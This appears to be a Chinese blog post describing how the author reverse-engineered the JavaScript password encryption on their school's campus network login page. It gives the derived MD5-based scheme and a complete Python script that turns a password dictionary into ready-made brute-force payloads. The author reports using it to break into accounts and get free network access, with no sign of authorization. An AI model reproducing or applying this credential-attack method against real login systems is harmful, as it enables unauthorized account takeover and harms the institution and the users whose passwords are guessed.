某校园网登录界面前端加密绕过

news2024/11/22 1:34:07

前言

尝试对学校校园网登录框进行爆破,发现密码在前端被加密了

Burp抓包

抓包信息

DDDDD=2022***&upass=3d5c84b6fb1dc75987884f39c05b0e6a123456782&R1=0&R2=1&para=00&0MKKey=123456&v6ip=

From表单提交上来的文本这些参数,DDDD是用户名,upass是密码,后面的参数意义不明,看样子是MD5加密,尝试输入admin,然后拿到md5解密网站去解密一波看看

根本查不到,所以不是普通的MD5加密,遂开始Js逆向

Js逆向

点击登录按钮,查看堆栈信息,总共调用了两个JS文件

全局搜索Password,定位到这里,但显然这个password并不是用于加密的相关函数,但找了找其他关键字,也没有,索性在这里下一个断点,程序执行到这里时会卡住,

这时点击继续执行代码,点击返回之后,调用堆栈信息多出了一个JS文件a41.js

我们点击跟进,在a41.js中发现function ee()函数,此处下一个断点,这里下断点的原因程序执行完之后会把内存里的变量信息全部丢掉,所以我们要赶在程序没执行完之前去看看变量里面都有些啥,果不其然,定位到了我们输入的源数据,现在已经成功确定了加密算法函数在a41.js中

现在我们把这个a41.js下载下来分析

这段JavaScript代码包含了多个函数,主要用于处理登录逻辑、MD5加密、Base64编码,以及Cookie的设置、获取和删除。

  • ee(): 这个函数处理登录时的逻辑。它首先检查用户名和密码是否已输入,然后根据ps变量的值决定密码是否需要进行MD5加密或Base64编码,最后提交表单。同时,它处理与Cookie相关的逻辑,如保存登录信息。

但是在Js文件的最顶上发现ps是一个常量,所以说代码永远只会进入到else分支

这个分支就是加密的整个逻辑了,pid和cala均为常量,所以tmpchar就等于

2+用户输入+12345678,最终在将tmpchar的值md5加密,然后加上123456782

最后得出结论,

C=密文,M等于明文

C = MD5(2+M+12345678) + 12345678+2

构建Python脚本

知道加密算法之后,就可以批量加密密码来进行爆破了,虽然市面上有Burp的插件(https://github.com/c0ny1/jsEncrypter)

能直接调用JS来返回密文的,但是一点不想写JS文件,遂写了一个Python脚本用来批量加密字典

import hashlib

def md5(input_str):
    return hashlib.md5(input_str.encode()).hexdigest()

def generate_payload(source_data):
    a = "2"
    b = "12345678"
    c = md5(a + source_data + b)
    payload = c + "123456782"
    return payload

def read_data_from_file(file_path):
    with open(file_path, 'r') as file:
        return file.readlines()

def save_encrypted_data_to_file(encrypted_data, file_path):
    with open(file_path, 'w') as file:
        for encrypted in encrypted_data:
            file.write(f"{encrypted}\n")

def save_original_and_encrypted_data(data_pairs, file_path):
    with open(file_path, 'w') as file:
        for original, encrypted in data_pairs:
            file.write(f"{original.strip()} : {encrypted}\n")

def process_data(input_file, encrypted_file, original_and_encrypted_file):
    data_pairs = []
    encrypted_data = []
    data_lines = read_data_from_file(input_file)
    for line in data_lines:
        encrypted = generate_payload(line.strip())
        data_pairs.append((line.strip(), encrypted))
        encrypted_data.append(encrypted)
    save_encrypted_data_to_file(encrypted_data, encrypted_file)
    save_original_and_encrypted_data(data_pairs, original_and_encrypted_file)

# Example usage
input_file = 'dic.txt'
encrypted_file = 'encrypted_data.txt'
original_and_encrypted_file = 'original_and_encrypted_data.txt'
process_data(input_file, encrypted_file, original_and_encrypted_file)

最后运行效果:

至此Js的逆向就告一段落,把Python脚本加密过的payload,成功爆破出免费账户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2245014.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《生成式 AI》课程 第3講 CODE TASK执行文章摘要的机器人

课程 《生成式 AI》课程 第3講:訓練不了人工智慧嗎?你可以訓練你自己-CSDN博客 任务1:总结 1.我们希望你创建一个可以执行文章摘要的机器人。 2.设计一个提示符,使语言模型能够对文章进行总结。 model: gpt-4o-mini,#gpt-3.5-turbo, import…

Github客户端工具github-desktop使用教程

文章目录 1.客户端工具的介绍2.客户端工具使用感受3.仓库的创建4.初步尝试5.本地文件和仓库路径5.1原理说明5.2修改文件5.3版本号的说明5.4结合码云解释5.5版本号的查找 6.分支管理6.1分支的引入6.2分支合并6.3创建测试仓库6.4创建测试分支6.5合并分支6.6合并效果查看6.7分支冲…

python实战案例----使用 PyQt5 构建简单的 HTTP 接口测试工具

python实战案例----使用 PyQt5 构建简单的 HTTP 接口测试工具 文章目录 python实战案例----使用 PyQt5 构建简单的 HTTP 接口测试工具项目背景技术栈用户界面核心功能实现结果展示完整代码总结 在现代软件开发中,测试接口的有效性与响应情况变得尤为重要。本文将指导…

JavaScript的类型转换

类型转换 : 隐式转换和显示转换 一般的,默认单选框和多选框传过来的值都是字符串 JavaScript是弱数据类型:JavaScript不知道变量属于哪种类型,需要赋值了才清楚。 缺点:使用表单、prompt获取过来的数据默认是字符串类…

Spring Boot中使用AOP和反射机制设计一个基于redis的幂等注解,简单易懂教程

由于对于一些非查询操作,有时候需要保证该操作是幂等的,该帖子设计幂等注解的原理是使用AOP和反射机制获取方法的类、方法和参数,然后拼接形成一个幂等键,当下一次有重复操作过来的时候,判断该幂等键是否存放&#xff…

一文详细深入总结服务器选型

1. 题记: 服务器选型工作是项目规划检讨的一项非常重要的工作,本文详细深入总结服务器选型。 2. 服务器基础知识概览 2.1 服务器的定义与功能 2.1 .1 定义 服务器是一种高性能计算机,其设计目的是在网络中提供服务。它可以处理来自多个客…

接口测试用例设计的关键步骤与技巧解析!

简介 接口测试在需求分析完成之后,即可设计对应的接口测试用例,然后根据用例进行接口测试。接口测试用例的设计也需要用到黑盒测试用例设计方法,和测试流程与理论章节的功能测试用例设计的方法类似,设计过程中还需要增加与接口特…

WPF下 DataGrid加入序号列

先上代码&#xff1a; <DataGrid Name"DGV" AutoGenerateColumns"False" Grid.Row"0" Grid.Column"0" HorizontalGridLinesBrush"RoyalBlue" VerticalGridLinesBrush"Tomato" CanUserAddRows"False&qu…

WebSocket详解、WebSocket入门案例

目录 1.1 WebSocket介绍 http协议&#xff1a; webSocket协议&#xff1a; 1.2WebSocket协议&#xff1a; 1.3客户端&#xff08;浏览器&#xff09;实现 1.3.2 WebSocket对象的相关事宜&#xff1a; 1.3.3 WebSOcket方法 1.4 服务端实现 服务端如何接收客户端发送的请…

大模型本地部署实践:Ollama+Open-WebUI(MacOS)

目录 什么是Ollama Ollama安装 对话界面可视化&#xff1f;Open-WebUI&#xff01; 安装Open-WebUI 什么是Ollama Ollama是一个为简化大语言模型本地部署与交互的开源框架。它提供了用户友好的接口&#xff0c;帮助开发者和模型爱好者在没有依赖外部API的基础上高效地运行、…

12万字 | 企业智慧数字化运营平台重构建设项目实施技术方案

本项目旨在推动企业数字化运营平台的重构&#xff0c;以支持组织改革和数字化转型战略的实施&#xff0c;提升企业智慧化运营管理能力。项目将优化订单受理流程&#xff0c;增强业务受理能力&#xff0c;提高客户服务体验和内部管控能力&#xff0c;同时提升营销资源管理的制度…

基于Lora通讯加STM32空气质量检测WIFI通讯-分享

目录 目录 前言 一、本设计主要实现哪些很“开门”功能&#xff1f; 二、电路设计原理图 1.电路图采用Altium Designer进行设计&#xff1a; 2.实物展示图片 三、程序源代码设计 四、获取资料内容 前言 随着环境污染问题的日益严重&#xff0c;空气质量的监测与管理已经…

cesium for unity的使用

先聊聊导入 看到这里的因该能够知道&#xff0c;官网以及网上绝大多数的方法都导入不进来&#xff0c;那么解决方法如下: 两个链接&#xff1a;按照顺序依次下载这两个tgz和zip&#xff0c;其中tgz为主要部分&#xff0c;zip为示例工程项目 如果您要查看示例工程项目的话&am…

数据结构_图的遍历

深度优先搜索遍历 遍历思想 邻接矩阵上的遍历算法 void Map::DFSTraverse() {int i, v;for (i 0; i < MaxLen; i){visited[i] false;}for (i 0; i < Vexnum; i){// 如果顶点未访问&#xff0c;则进行深度优先搜索if (visited[i] false){DFS(i);}}cout << endl…

MySQL时间字段TIMESTAMP和DATETIME

SELECT global.time_zone, session.time_zone;查询数据库的全局时区和当前会话的时区信息&#xff0c;一般如果使用navicat进行连接&#xff0c;没有显示指定时区信息&#xff0c;会默认使用system_time_zone。 可以使用 SET time_zone 08:00; SELECT global.time_zone, sess…

AQS 理解 及不可重入锁实现

由于目前水平有限&#xff0c;只是写出作者目前对 aqs的简单理解&#xff0c;有错误还请评论指证 AQS是什么 Aqs是java.util.concurrent 包下的一个抽象队列 同步器类&#xff0c;被简写为英文AQS&#xff0c; 我认为 可以把他理解 为一个 实现 自定义 锁的 一个具体的框架 …

nginx源码安装配置ssl域名

nginx源码安装 下载 wget http://nginx.org/download/nginx-1.24.0.tar.gz 解压 tar -zxvf nginx-1.24.0.tar.gz 下载openssl apt install openssl 安装nginx cd nginx-1.24.0 sudo apt-get install libpcre3 libpcre3-dev ./configure --prefix=/home/nginx24 --with-http_ss…

【笔记】Android Gradle Plugin配置文件相关说明-libs.versions.toml

版本号 文件路径&#xff1a;Project\gradle\libs.versions.toml 直接搜索versions.agp是找不到的&#xff0c;这是变量引用的写法&#xff0c;查询 agp版本可以直接查版本号。 [versions] agp "8.5.0-alpha08" junit "4.13.2" junitVersion "1.…

支付宝租赁小程序的优势与应用前景分析

内容概要 在这个快节奏的时代&#xff0c;租赁服务越来越成为大家生活中的一部分。而支付宝租赁小程序正是这个大潮流中的一颗璀璨明珠。通过简单易用的界面和强大的功能&#xff0c;这个小程序不仅让用户在租赁过程中获得了前所未有的便利&#xff0c;也为商家提供了新的商业…

三十一、构建完善微服务——API 网关

一、API 网关基础 系统拆分为微服务后&#xff0c;内部的微服务之间是互联互通的&#xff0c;相互之间的访问都是点对点的。如果外部系统想调用系统的某个功能&#xff0c;也采取点对点的方式&#xff0c;则外部系统会非常“头大”。因为在外部系统看来&#xff0c;它不需要也没…